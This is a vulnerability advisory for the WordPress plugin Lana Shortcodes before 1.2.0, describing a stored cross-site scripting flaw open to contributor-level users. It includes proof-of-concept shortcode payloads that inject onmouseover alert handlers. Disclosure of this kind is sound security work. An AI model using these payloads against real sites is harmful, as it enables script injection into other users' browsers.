WordPress Plugin Vulnerabilities
Lana Shortcodes < 1.2.0 - Contributor+ Stored XSS
Description
The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which allows users with the contributor role and above to perform Stored Cross-Site Scripting attacks.
Proof of Concept
Insert any of the following shortcodes in a page/post: *Button shortcode [lana_button size="md" type='" onmouseover="alert(1)" style="background:red;"']Lana Button[/lana_button] *Icon shortcode [lana_icon name='home" onmouseover="alert(1)" style="background:red;"'] *Label shortcode [lana_label type='" onmouseover="alert(1)" style="background:red;"']New[/lana_label]
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Webbernaut
Submitter
Webbernaut
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-06-26 (about 10 months ago)
Added
2023-06-26 (about 10 months ago)
Last Updated
2023-06-26 (about 10 months ago)